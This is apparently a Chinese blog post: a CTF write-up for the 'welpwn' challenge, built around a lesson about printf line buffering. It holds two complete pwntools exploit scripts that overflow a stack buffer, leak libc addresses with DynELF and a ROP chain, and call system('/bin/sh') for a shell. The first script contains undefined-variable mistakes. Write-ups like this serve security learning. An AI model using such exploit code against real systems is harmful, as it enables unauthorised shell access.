[pwn]关于printf输出时机的坑

30 篇文章 3 订阅
25 篇文章 4 订阅

关于printf输出时机的坑

今天遇到了一个特别有意思的题,本来很简单的利用,但一直没有算出来,最后发现是一个很简单的却很细节的问题。
welpwn详细writeup

题目地址:welpwn

首先查看一下安全策略:
在这里插入图片描述
保护很少,然后看一下代码逻辑:
在这里插入图片描述
read读入了0x400个字节,一般这么长必有溢出,注意echo并不是系统函数,查看echo逻辑:
在这里插入图片描述
s2只有16个字节,但却复制了一个0x400字节的字符串,必然会有溢出。找到了溢出点,就可以考虑利用思路,但题目本身并没有给出libc版本,那么我们需要使用DynELF将system的地址泄漏出来。但**需要注意的是,这里的复制函数遇到\x00就会停止,而我们如果输入64位地址必然会出现\x00,所以不能直接在输入中构造ROP。**通过调试查看栈结构,发现echo的返回地址下面紧接着就是之前read读入的串的开头:
在这里插入图片描述
也就是说,我们可以使用4个pop接一个ret的返回地址覆盖echo的返回地址,然后将下面read读入的24个A和这个地址弹出,然后返回到下面构造的ROP上,而这个题中有通用gadget:
在这里插入图片描述
再回顾一下整个程序的逻辑,首先输出“welcome”,然后我们输入内容,然后进入echo将我们输入的内容拷贝到s2中,这里存在溢出,然后echo中调用printf将s2(我们输入的内容)输出,然后返回(到我们劫持的地址),那么我构造了leak函数如下:

from pwn import *

p=process('./b39a59bc51fb45d8be9d478246bd00b8')
elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
def leak(address):
    print p.recvuntil('RCTF\n')
    payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)\
    +p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(mov_addr)\
    +'A'*56+p64(start_addr)
    payload=payload.ljust(1024,'A')
    p.send(payload1)
    p.recvuntil('A'*24)  #输出会在24个A之后再接三个字符(pop4的地址)
    p.recv(3)  #再接收三个
    data=p.recv(8)  #write打印的地址
    print "%x => %s" % (addr, (data or '').encode('hex'))
    return data
d=DynELF(leak,elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8'))
sys_addr=d.lookup('system','libc')

最后执行之后发现代码执行不动了:
在这里插入图片描述
使用python一步一步查看发现:
在这里插入图片描述
什么情况,8字节的地址先输出,然后输出返回到start之后重新执行时输出的Welcome,最后才输出AAAA,也就是说,第二遍程序都开始执行了,第一遍的echo之中的AAAA还没输出。

这个问题出现的原因是:
在这里插入图片描述
在这里插入图片描述
AAA是用printf输出的,Welcome和地址是用write输出的。这里涉及到printf的特性。**printf是行缓冲函数,只有满了一行才马上打印,write在用户态没有缓冲,所以直接输出。**这里printf等到第二遍程序执行到我们输入的地方,也就是被输入打断时才输出。既然知道了错误的原理,就很容易构造利用代码了:

from pwn import *

p=process('./b39a59bc51fb45d8be9d478246bd00b8')
elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
prdi_addr=0x04008a3
binsh_addr=0x601070

def leak(addr):
    print p.recv()
  payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(mov_addr)+'A'*56+p64(start_addr)
    payload=payload.ljust(1022,'C')
    p.send(payload)
    data=p.recv(8)
    print "%x => %s" % (addr, (data or '').encode('hex'))
    return data

d=DynELF(leak,elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8'))
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
print p.recv()
payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binsh_addr)+p64(0)+p64(mov_addr)+'A'*56+p64(prdi_addr)+p64(binsh_addr)+p64(sys_addr)+'a'*8
payload=payload.ljust(1024,'A')
p.send(payload)
p.sendline('/bin/sh\x00')
p.interactive()

成功。
在这里插入图片描述
总结一下,虽说最后利用代码和思路都很简单,没什么绕弯子,但如果不知道printf的输出时机,有没有仔细调试,就会很烦。细节真的很重要!

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值